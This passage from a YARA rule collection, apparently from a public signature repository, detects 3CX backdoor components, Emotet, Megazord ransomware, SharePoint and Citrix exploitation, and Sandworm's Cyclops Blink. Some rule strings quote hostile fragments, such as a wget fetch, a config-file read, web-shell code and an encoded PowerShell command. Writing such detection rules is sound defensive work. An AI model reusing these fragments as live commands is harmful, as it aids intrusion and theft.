		hash3 = "51079c7e549cbad25429ff98b6d6ca02dc9234e466dd9b75a5e05b9d7b95af72"
	strings:
		$s1 = "20230313064152Z0"
		$s2 = "Developer ID Application: 3CX (33CF4654HL)"
	condition:
		( uint16( 0 ) == 0xfeca or uint16( 0 ) == 0xfacf or uint32( 0 ) == 0xbebafeca ) and all of them
}

rule SIGNATURE_BASE_MAL_3Cxdesktopapp_Macos_Backdoor_Mar23 : FILE
{
	meta:
		description = "Detects 3CXDesktopApp MacOS Backdoor component"
		author = "X__Junior (Nextron Systems)"
		id = "80046c8e-0c2a-5885-b140-a6084f48160d"
		date = "2023-03-30"
		modified = "2023-12-05"
		reference = "https://www.volexity.com/blog/2023/03/30/3cx-supply-chain-compromise-leads-to-iconic-incident/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_mal_3cx_compromise_mar23.yar#L251-L275"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "a64fa9f1c76457ecc58402142a8728ce34ccba378c17318b3340083eeb7acc67"
		logic_hash = "777a0a29c376f3697021dd627e716c31bda7933c5f40a8fe79b80e3cea46ce43"
		score = 80
		quality = 85
		tags = "FILE"
	strings:
		$sa1 = "%s/.main_storage" ascii fullword
		$sa2 = "%s/UpdateAgent" ascii fullword
		$op1 = { 31 C0 41 80 34 06 ?? 48 FF C0 48 83 F8 ?? 75 ?? BE ?? ?? ?? ?? BA ?? ?? ?? ?? 4C 89 F7 48 89 D9 E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 4C 89 F7 5B 41 5E 41 5F E9 ?? ?? ?? ?? 5B 41 5E 41 5F C3}
		$op2 = { 0F 11 84 24 ?? ?? ?? ?? 0F 28 05 ?? ?? ?? ?? 0F 29 84 24 ?? ?? ?? ?? 0F 28 05 ?? ?? ?? ?? 0F 29 84 24 ?? ?? ?? ?? 31 C0 80 B4 04 ?? ?? ?? ?? ?? 48 FF C0}
	condition:
		(( uint16( 0 ) == 0xfeca or uint16( 0 ) == 0xfacf or uint32( 0 ) == 0xbebafeca ) and filesize < 6MB and ( ( 1 of ( $sa* ) and 1 of ( $op* ) ) or all of ( $sa* ) ) ) or ( all of ( $op* ) )
}

rule SIGNATURE_BASE_APT_MAL_NK_3CX_ICONIC_Stealer_Mar23_1 : FILE
{
	meta:
		description = "Detects ICONIC stealer payload used in the 3CX incident"
		author = "Florian Roth (Nextron Systems)"
		id = "e92b5b90-1146-5235-9711-a4d42689c49b"
		date = "2023-03-31"
		modified = "2023-12-05"
		reference = "https://github.com/volexity/threat-intel/blob/main/2023/2023-03-30%203CX/attachments/iconicstealer.7z"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_mal_3cx_compromise_mar23.yar#L279-L304"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "1f57a2af4a5b9e71e2b72ddc3839400731d9d37eb4349c393b37b3f86c0c7f73"
		score = 80
		quality = 85
		tags = "FILE"
		hash1 = "8ab3a5eaaf8c296080fadf56b265194681d7da5da7c02562953a4cb60e147423"
	strings:
		$s1 = "{\"HostName\": \"%s\", \"DomainName\": \"%s\", \"OsVersion\": \"%d.%d.%d\"}" wide fullword
		$s2 = "******************************** %s ******************************" wide fullword
		$s3 = "AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data" wide fullword
		$s4 = "AppData\\Roaming\\Mozilla\\Firefox\\Profiles" wide fullword
		$s5 = "SELECT url, title FROM urls ORDER BY id DESC LIMIT 500" wide fullword
		$s6 = "TEXT value in %s.%s" ascii fullword
		$op1 = { 48 63 d1 48 63 ce 49 03 d1 49 03 cd 4c 63 c7 e8 87 1f 09 00 8b 45 d0 44 8d 04 37 }
		$op2 = { 48 8b c8 8b 56 f0 48 89 46 d8 e8 78 8f f8 ff e9 ec 13 00 00 c7 46 20 ff ff ff ff e9 e0 13 00 00 33 ff }
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 4000KB and 4 of them or 6 of them
}

rule SIGNATURE_BASE_APT_MAL_NK_3CX_Macos_Elextron_App_Mar23_1 : FILE
{
	meta:
		description = "Detects macOS malware used in the 3CX incident"
		author = "Florian Roth (Nextron Systems)"
		id = "7a3755d4-37e5-5d3b-93aa-34edb557f2d5"
		date = "2023-03-31"
		modified = "2023-12-05"
		reference = "Internal Research"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_mal_3cx_compromise_mar23.yar#L306-L328"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "00dd28c3edd94e04e35ee9e3a43c30b5a0a1ad21ec8ecf2099bbeb9de2fca8d0"
		score = 80
		quality = 85
		tags = "FILE"
		hash1 = "51079c7e549cbad25429ff98b6d6ca02dc9234e466dd9b75a5e05b9d7b95af72"
		hash2 = "f7ba7f9bf608128894196cf7314f68b78d2a6df10718c8e0cd64dbe3b86bc730"
	strings:
		$a1 = "com.apple.security.cs.allow-unsigned-executable-memory" ascii
		$a2 = "com.electron.3cx-desktop-app" ascii fullword
		$s1 = "s8T/RXMlALbXfowom9qk15FgtdI=" ascii
		$s2 = "o8NQKPJE6voVZUIGtXihq7lp0cY=" ascii
	condition:
		uint16( 0 ) == 0xfacf and filesize < 400KB and ( all of ( $a* ) and 1 of ( $s* ) )
}

rule SIGNATURE_BASE_MAL_3Cxdesktopapp_Macos_Updateagent_Mar23 : FILE
{
	meta:
		description = "Detects 3CXDesktopApp MacOS UpdateAgent backdoor component"
		author = "Florian Roth (Nextron Systems)"
		id = "596eb6d0-f96f-5106-ae67-9372d238e4cf"
		date = "2023-03-30"
		modified = "2023-12-05"
		reference = "https://twitter.com/patrickwardle/status/1641692164303515653?s=20"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_mal_3cx_compromise_mar23.yar#L330-L354"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "9e9a5f8d86356796162cee881c843cde9eaedfb3"
		logic_hash = "0818a8f0b59a9baaefaa0b505f8261e0e0df283e79da8e95dc71e9afdca224ab"
		score = 80
		quality = 85
		tags = "FILE"
	strings:
		$a1 = "/3CX Desktop App/.main_storage" ascii
		$x1 = ";3cx_auth_token_content=%s;__tutma=true"
		$s1 = "\"url\": \"https://"
		$s3 = "/dev/null"
		$s4 = "\"AccountName\": \""
	condition:
		uint16( 0 ) == 0xfeca and filesize < 6MB and ( 1 of ( $x* ) or ( $a1 and all of ( $s* ) ) ) or all of them
}

rule SIGNATURE_BASE_MAL_Emotet_JS_Dropper_Oct19_1 : FILE
{
	meta:
		description = "Detects Emotet JS dropper"
		author = "Florian Roth (Nextron Systems)"
		id = "34605452-8f3d-540a-b66f-4f68d9187003"
		date = "2019-10-03"
		modified = "2023-12-05"
		reference = "https://app.any.run/tasks/aaa75105-dc85-48ca-9732-085b2ceeb6eb/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/crime_emotet.yar#L2-L16"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "563077f3bc8ee18a887eecb9f0591c693e5543a9875eebad2186745154af1ade"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "38295d728522426672b9497f63b72066e811f5b53a14fb4c4ffc23d4efbbca4a"
		hash2 = "9bc004a53816a5b46bfb08e819ac1cf32c3bdc556a87a58cbada416c10423573"
	strings:
		$xc1 = { FF FE 76 00 61 00 72 00 20 00 61 00 3D 00 5B 00
               27 00 }
	condition:
		uint32( 0 ) == 0x0076feff and filesize <= 700KB and $xc1 at 0
}


rule SIGNATURE_BASE_MAL_Emotet_BKA_Cleanup_Apr21 : FILE
{
	meta:
		description = "No description has been set in the source file - Signature Base"
		author = "press inquiries <info@bka.de>, technical contact <info@mha.bka.de>"
		id = "10d93918-8a5e-54a3-81c6-f6ff68562e13"
		date = "2021-03-23"
		modified = "2023-12-05"
		reference = "https://www.bka.de/DE/IhreSicherheit/RichtigesVerhalten/StraftatenImInternet/FAQ/FAQ_node.html"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/crime_emotet.yar#L54-L70"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "533adaed96d015ea2dcd54d5aaf9e71b5b70430ed5733a98618925cf978a6515"
		score = 75
		quality = 85
		tags = "FILE"
		descripton = "This rule targets a modified emotet binary deployed by the Bundeskriminalamt on the 26th of January 2021."
		note = "The binary will replace the original emotet by copying it to a quarantine. It also contains a routine to perform a self-deinstallation on the 25th of April 2021. The three-month timeframe between rollout and self-deinstallation was chosen primarily for evidence purposes as well as to allow remediation."
		sharing = "TLP:WHITE"
	strings:
		$key = { c3 da da 19 63 45 2c 86 77 3b e9 fd 24 64 fb b8 07 fe 12 d0 2a 48 13 38 48 68 e8 ae 91 3c ed 82 }
	condition:
		filesize > 300KB and filesize < 700KB and uint16( 0 ) == 0x5A4D and $key
}

rule SIGNATURE_BASE_SUSP_TINY_PE : FILE
{
	meta:
		description = "Detects Tiny PE file"
		author = "Florian Roth (Nextron Systems)"
		id = "5081c24e-91d1-5705-9459-f675be4f0e3c"
		date = "2019-10-23"
		modified = "2023-12-05"
		reference = "https://webserver2.tecgraf.puc-rio.br/~ismael/Cursos/YC++/apostilas/win32_xcoff_pe/tyne-example/Tiny%20PE.htm"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_file_anomalies.yar#L3-L15"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "5eabfa8e0fd4d6d1376d263484fba985e7a4b05d68046be1f79c1dfdbbfff9e5"
		score = 80
		quality = 85
		tags = "FILE"
	strings:
		$header = { 4D 5A 00 00 50 45 00 00 }
	condition:
		uint16( 0 ) == 0x5a4d and uint16( 4 ) == 0x4550 and filesize <= 20KB and $header at 0
}


rule SIGNATURE_BASE_SUSP_LNK_Suspicious_Folders_Jan25 : FILE
{
	meta:
		description = "Detects link files (.LNK) with suspicious folders mentioned in the target path"
		author = "Florian Roth"
		id = "5f1bcd18-abec-5831-b24f-519c92a2454e"
		date = "2025-01-24"
		modified = "2025-03-20"
		reference = "Internal Research"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mixed_open_source_export.yar#L2-L16"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "776adb706e165389d0abdf8d6f719f6db1ec6d2f3d9d96e1c4a5f2b55e482c31"
		score = 65
		quality = 85
		tags = "FILE"
	strings:
		$x1 = "RECYCLER.BIN\\" wide
		$x2 = "Perflogs\\" wide
	condition:
		uint16( 0 ) == 0x004c and 1 of them
}

rule SIGNATURE_BASE_SUSP_OBFUSC_Powershell_True_Jun20_1 : FILE
{
	meta:
		description = "Detects indicators often found in obfuscated PowerShell scripts. Note: This detection is based on common characteristics typically associated with the mentioned threats, must be considered a clue and does not conclusively prove maliciousness."
		author = "Florian Roth (Nextron Systems)"
		id = "e9bb870b-ad72-57d3-beff-2f84a81490eb"
		date = "2020-06-27"
		modified = "2025-02-12"
		reference = "https://github.com/corneacristian/mimikatz-bypass/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_powershell_obfuscation.yar#L57-L75"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "8f33762e6e93fcf6b423b34eb1abefae2ae91b51048303947f7c1601823630d7"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$ = "${t`rue}" ascii nocase
		$ = "${tr`ue}" ascii nocase
		$ = "${tru`e}" ascii nocase
		$ = "${t`ru`e}" ascii nocase
		$ = "${tr`u`e}" ascii nocase
		$ = "${t`r`ue}" ascii nocase
		$ = "${t`r`u`e}" ascii nocase
	condition:
		filesize < 6000KB and 1 of them
}

rule SIGNATURE_BASE_WEBSHELL_ASPX_Sharepoint_Drop_CVE_2025_53770_Jul25 : CVE_2025_53770 FILE
{
	meta:
		description = "Detects ASPX web shell dropped during the exploitation of SharePoint RCE vulnerability CVE-2025-53770"
		author = "Florian Roth"
		id = "136ab1a3-647b-5196-9e08-12c3b913bd55"
		date = "2025-07-20"
		modified = "2025-07-25"
		reference = "https://research.eye.security/sharepoint-under-siege/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_sharepoint_jul25.yar#L1-L20"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "27c45b8ed7b8a7e5fff473b50c24028bd028a9fe8e25e5cea2bf5e676e531014"
		hash = "92bb4ddb98eeaf11fc15bb32e71d0a63256a0ed826a03ba293ce3a8bf057a514"
		hash = "b336f936be13b3d01a8544ea3906193608022b40c28dd8f1f281e361c9b64e93"
		logic_hash = "3c7bb848fc73418d5a3ecae6e9f637a7d07bf45a75b1bd0a278fdbfae428d619"
		score = 80
		quality = 85
		tags = "CVE-2025-53770, FILE"
	strings:
		$x1 = "var sy = System.Reflection.Assembly.Load(" ascii
		$x2 = "Response.Write(cg.ValidationKey+" ascii
		$s1 = "<script runat=\"server\" language=\"c#\" CODEPAGE=\"65001\">" ascii fullword
	condition:
		filesize < 4KB and 1 of ( $x* ) or all of them
}

rule SIGNATURE_BASE_APT_EXPL_Sharepoint_CVE_2025_53770_Forensicartefact_Jul25_2 : CVE_2025_53770
{
	meta:
		description = "Detects URIs accessed during the exploitation of SharePoint RCE vulnerability CVE-2025-53770"
		author = "Florian Roth"
		id = "57c2caf8-6458-51d5-80c5-8ceee2f55072"
		date = "2025-07-20"
		modified = "2025-07-24"
		reference = "https://research.eye.security/sharepoint-under-siege/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_sharepoint_jul25.yar#L73-L102"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "30955794792a7ce045660bb1e1917eef36f1d5865891b8110bf982382b305b27"
		hash = "b336f936be13b3d01a8544ea3906193608022b40c28dd8f1f281e361c9b64e93"
		logic_hash = "5ae0620e7e1c1908ad54ac4e41c53240f738631c20577fd65fb29008945347a8"
		score = 70
		quality = 85
		tags = "CVE-2025-53770"
	strings:
		$x1 = "-EncodedCommand JABiAGEAcwBlADYANABTAHQAcgBpAG4AZwAgAD0" ascii wide
		$x2 = "TEMPLATE\\LAYOUTS\\spinstall" ascii wide
		$x3 = "TEMPLATE\\LAYOUTS\\ghostfile" ascii wide
		$x4 = "TEMPLATE\\LAYOUTS\\1.css" ascii wide
		$x5 = "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:120.0)+Gecko/20100101+Firefox/120.0 /_layouts/SignOut.aspx" ascii wide
		$xe1 = "TQBJAEMAUgBPAFMAfgAxAFwAVwBFAEIAUwBFAFIAfgAxAFwAMQA2AFwAVABFAE0AUABMAEEAVABFAFwATABBAFkATwBVAFQAUwBcA"
		$xe2 = "0ASQBDAFIATwBTAH4AMQBcAFcARQBCAFMARQBSAH4AMQBcADEANgBcAFQARQBNAFAATABBAFQARQBcAEwAQQBZAE8AVQBUAFMAXA"
		$xe3 = "NAEkAQwBSAE8AUwB+ADEAXABXAEUAQgBTAEUAUgB+ADEAXAAxADYAXABUAEUATQBQAEwAQQBUAEUAXABMAEEAWQBPAFUAVABTAFwA"
		$xe4 = "TQBJAEMAUgBPAFMAfgAxAFwAVwBFAEIAUwBFAFIAfgAxAFwAMQA1AFwAVABFAE0AUABMAEEAVABFAFwATABBAFkATwBVAFQAUwBcA"
		$xe5 = "0ASQBDAFIATwBTAH4AMQBcAFcARQBCAFMARQBSAH4AMQBcADEANQBcAFQARQBNAFAATABBAFQARQBcAEwAQQBZAE8AVQBUAFMAXA"
		$xe6 = "NAEkAQwBSAE8AUwB+ADEAXABXAEUAQgBTAEUAUgB+ADEAXAAxADUAXABUAEUATQBQAEwAQQBUAEUAXABMAEEAWQBPAFUAVABTAFwA"
	condition:
		1 of them
}

rule SIGNATURE_BASE_MAL_WIN_Megazord_Apr25 : FILE
{
	meta:
		description = "This Yara rule from ISH Tecnologia's Heimdall Security Research Team, detects the main components of the Megazord Ransomware"
		author = "0x0d4y-Icaro Cesar"
		id = "6225a690-8f54-4a50-a19a-8f7523537228"
		date = "2025-04-11"
		modified = "2025-04-16"
		reference = "https://ish.com.br/wp-content/uploads/2025/04/A-Anatomia-do-Ransomware-Akira-e-sua-expansao-multiplataforma.pdf"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_win_megazord_apr25.yar#L1-L30"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "fd380db23531bb7bb610a7b32fc2a6d5"
		logic_hash = "1a73e67b9a43c4f1bbe9f3dbebeb428bbfa705f7c858909a7bbf0673951d677e"
		score = 80
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		rule_matching_tlp = "TLP:WHITE"
		rule_sharing_tlp = "TLP:WHITE"
		malpedia_family = "win.akira"
	strings:
		$code_custom_algorithm = { 89 c1 45 31 e6 31 e8 44 31 f0 35 ?? ?? ?? ?? c1 c0 0b 44 31 ff 44 31 ef 31 c7 81 f7 ?? ?? ?? ?? c1 c7 0b 44 31 e3 31 cb 31 fb 81 f3 ?? ?? ?? ?? c1 c3 0b 89 da 31 c2 89 84 24 ?? ?? ?? ?? 44 31 ed 31 d5 89 94 24 ?? ?? ?? ?? 81 f5 ?? ?? ?? ?? c1 c5 0b 41 89 e8 41 31 f8 89 bc 24 ?? ?? ?? ?? 41 31 cf 45 31 c7 44 89 84 24 ?? ?? ?? ?? 41 81 f7 ?? ?? ?? ?? 41 c1 c7 0b 41 31 d4 45 31 fc 41 81 f4 ?? ?? ?? ?? 41 c1 c4 0b 45 31 c5 45 31 e5 41 81 f5 ?? ?? ?? ?? 41 c1 c5 0b 89 9c 24 ?? ?? ?? ?? 31 d9 44 31 f9 44 31 e9 81 f1 ?? ?? ?? ?? c1 c1 0b 41 89 c8 45 31 e0 44 89 a4 24 ?? ?? ?? ?? 89 ac 24 ?? ?? ?? ?? 31 e8 44 31 c0 35 ?? ?? ?? ?? c1 c0 0b 44 89 fa 44 89 bc 24 ?? ?? ?? ?? 31 fa 44 31 ea 31 c2 41 89 c1 81 f2 ?? ?? ?? ?? c1 c2 0b 41 31 d8 41 31 d0 41 81 f0 ?? ?? ?? ?? 41 c1 c0 0b 44 89 e8 44 89 ac 24 ?? ?? ?? ?? 31 e8 44 31 c8 44 31 c0 45 89 c3 35 }
		$megazord_str_I = "powerranges" ascii
		$megazord_str_II = "onion" ascii
		$megazord_str_III = "powershell" ascii
		$megazord_str_IV = "taskkill" ascii
		$megazord_str_V = "mal_public_key_bytes" ascii
		$megazord_str_VI = "runneradmin" ascii
		$megazord_str_VII = "//rustc" ascii
	condition:
		uint16( 0 ) == 0x5a4d and $code_custom_algorithm and 5 of ( $megazord_str_* )
}


rule SIGNATURE_BASE_EXPL_Gitlab_CE_RCE_CVE_2021_22205 : CVE_2021_22205
{
	meta:
		description = "Detects signs of exploitation of GitLab CE CVE-2021-22205"
		author = "Florian Roth (Nextron Systems)"
		id = "21cc6fa7-e50d-5b8e-815d-27315ab5635d"
		date = "2021-10-26"
		modified = "2023-12-05"
		reference = "https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/exploit_gitlab_cve_2021_22205.yar#L2-L27"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "54b841716a6bd56706c1c38fcda9a27ffd7feba2660602b191e8e347983e578d"
		score = 70
		quality = 85
		tags = "CVE-2021-22205"
	strings:
		$sa1 = "VXNlci5maW5kX2J5KHVzZXJuYW1l" ascii
		$sa2 = "VzZXIuZmluZF9ieSh1c2VybmFtZ" ascii
		$sa3 = "Vc2VyLmZpbmRfYnkodXNlcm5hbW" ascii
		$sb1 = "dXNlci5hZG1pb" ascii
		$sb2 = "VzZXIuYWRtaW" ascii
		$sb3 = "1c2VyLmFkbWlu" ascii
		$sc1 = "dXNlci5zYXZlI" ascii
		$sc2 = "VzZXIuc2F2ZS" ascii
		$sc3 = "1c2VyLnNhdmUh" ascii
	condition:
		1 of ( $sa* ) and 1 of ( $sb* ) and 1 of ( $sc* )
}

rule SIGNATURE_BASE_EXPL_Shitrix_Exploit_Code_Jan20_1 : FILE CVE_2019_19781
{
	meta:
		description = "Detects payloads used in Shitrix exploitation CVE-2019-19781"
		author = "Florian Roth (Nextron Systems)"
		id = "7fab3a9b-82a5-573a-b210-2ae65f1a7f24"
		date = "2020-01-13"
		modified = "2023-12-05"
		reference = "https://isc.sans.edu/forums/diary/Citrix+ADC+Exploits+Overview+of+Observed+Payloads/25704/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/exploit_shitrix.yar#L2-L29"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "00687b30235be5ef3c00432b5b96bbc325dee553e7c0cb565d6f389b1bce12de"
		score = 70
		quality = 85
		tags = "FILE, CVE-2019-19781"
	strings:
		$s01 = "/netscaler/portal/scripts/rmpm.pl" ascii
		$s02 = "tee /netscaler/portal/templates/" ascii
		$s03 = "exec(\\'(wget -q -O- http://" ascii
		$s04 = "cd /netscaler/portal; ls" ascii
		$s05 = "cat /flash/nsconfig/ns.conf" ascii
		$s06 = "/netscaler/portal/scripts/PersonalBookmak.pl" ascii
		$s07 = "template.new({'BLOCK'='print readpipe(" ascii
		$s08 = "pwnpzi1337" fullword ascii
		$s09 = "template.new({'BLOCK'="
		$s10 = "template.new({'BLOCK'%3d"
		$s11 = "my ($citrixmd, %FORM);"
		$s12 = "(CMD, \"($citrixmd) 2>&1"
		$b1 = "NSC_USER:" ascii nocase
		$b2 = "NSC_NONCE:" ascii nocase
		$b3 = "/../" ascii
	condition:
		1 of ( $s* ) or all of ( $b* )
}

rule SIGNATURE_BASE_APT_Sandworm_Cyclopsblink_Notable_Strings : FILE
{
	meta:
		description = "Detects notable strings identified within the Cyclops Blink executable"
		author = "NCSC"
		id = "81ccf582-41f5-5fe5-8afc-e008e01289ff"
		date = "2022-02-23"
		modified = "2023-12-05"
		reference = "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_sandworm_cyclops_blink.yar#L6-L37"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "fdd3a1de9d178370fcc66dbca4628d7bedfbc002bca9e463e11cb444302900ea"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "3adf9a59743bc5d8399f67cab5eb2daf28b9b863"
		hash2 = "c59bc17659daca1b1ce65b6af077f86a648ad8a8"
	strings:
		$proc_name1 = "[kworker/0:1]"
		$proc_name2 = "[kworker/1:1]"
		$dns_query = "POST /dns-query HTTP/1.1\x0d\x0aHost: dns.google\x0d\x0a"
		$iptables1 = "iptables -I %s -p tcp --dport %d -j ACCEPT &>/dev/null"
		$iptables2 = "iptables -D %s -p tcp --dport %d -j ACCEPT &>/dev/null"
		$sys_recon1 = "{\"ver\":\"%x\",\"mods\";["
		$sys_recon2 = "uptime: %lu mem_size: %lu mem_free: %lu"
		$sys_recon3 = "disk_size: %lu disk_free: %lu"
		$sys_recon4 = "hw: %02x:%02x:%02x:%02x:%02x:%02x"
		$testpath = "%s/214688dsf46"
		$confpath = "%s/rootfs_cfg"
		$downpath = "/var/tmp/a.tmp"
	condition:
		( uint32( 0 ) == 0x464c457f ) and ( 8 of them )
}

rule SIGNATURE_BASE_APT_Sandworm_Cyclopsblink_Module_Initialisation : FILE
{
	meta:
		description = "Detects the code bytes used to initialise the modules built into Cyclops Blink"
		author = "NCSC"
		id = "c81b92c4-3f70-5bbd-acfa-ed1e1d33461d"
		date = "2022-02-23"
		modified = "2023-12-05"
		reference = "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_sandworm_cyclops_blink.yar#L39-L55"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "8bde37f642cf07e323beabaacd5c62f8422b451777fc1fc4a6bdf474db49de12"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "3adf9a59743bc5d8399f67cab5eb2daf28b9b863"
		hash2 = "c59bc17659daca1b1ce65b6af077f86a648ad8a8"
	strings:
		$ = {94 21 FF F0 93 E1 00 08 7C 3F 0B 78 38 00 00 ?? 7C 03
      03 78 81 61 00 00 8E EB FF F8 7D 61 5B 78 4E 80 00 20}
	condition:
		( uint32( 0 ) == 0x464c457f ) and ( any of them )
}

rule SIGNATURE_BASE_APT_Sandworm_Cyclopsblink_Modified_Install_Upgrade : FILE
{
	meta:
		description = "Detects notable strings identified within the modified install_upgrade executable, embedded within Cyclops Blink"
		author = "NCSC"
		id = "4c4f7262-df74-5f6a-afc0-df1fcae4741c"
		date = "2022-02-23"
		modified = "2023-12-05"
		reference = "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_sandworm_cyclops_blink.yar#L57-L88"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "69b89dbaf3e2661f376ff1be7c19e96c82bf84fd572fea422c109f8afdd1e5aa"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "3adf9a59743bc5d8399f67cab5eb2daf28b9b863"
		hash2 = "c59bc17659daca1b1ce65b6af077f86a648ad8a8"
		hash3 = "7d61c0dd0cd901221a9dff9df09bb90810754f10"
		hash4 = "438cd40caca70cafe5ca436b36ef7d3a6321e858"
	strings:
		$ = "/pending/%010lu_%06d_%03d_p1"
		$ = "/pending/sysa_code_dir/test_%d_%d_%d_%d_%d_%d"
		$ = "etaonrishdlcupfm"
		$ = "/pending/WGUpgrade-dl.new"
		$ = "/pending/bin/install_upgraded"
		$ = {38 80 4C 00}
		$ = {38 80 4C 05}
		$ = {38 80 4C 04}
		$ = {3C 00 48 4D 60 00 41 43 90 09 00 00}
	condition:
		( uint32( 0 ) == 0x464c457f ) and ( 6 of them )
}

rule SIGNATURE_BASE_APT_Sandworm_Cyclopsblink_Config_Identifiers : FILE
{
	meta:
		description = "Detects the initial characters used to identify Cyclops Blink configuration data"
		author = "NCSC"
		id = "db5b3a4a-82c2-500a-88f6-340b3392eac8"
		date = "2022-02-23"
		modified = "2023-12-05"
		reference = "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_sandworm_cyclops_blink.yar#L106-L126"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "6fa39442d717a69dd6f31a4bb2e5865c3f16156ce24a2b419d95ed751bb0d8ee"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "3adf9a59743bc5d8399f67cab5eb2daf28b9b863"
		hash2 = "c59bc17659daca1b1ce65b6af077f86a648ad8a8"
	strings:
		$ = {3C 00 3C 6B 60 00 3A 20 90 09 00 00}
		$ = {3C 00 3C 63 60 00 3A 20 90 09 00 00}
		$ = {3C 00 3C 73 60 00 3A 20 90 09 00 00}
	condition:
		( uint32( 0 ) == 0x464c457f ) and ( all of them )
}

rule SIGNATURE_BASE_APT_Sandworm_Cyclopsblink_Handle_Mod_0Xf_Command : FILE
{
	meta:
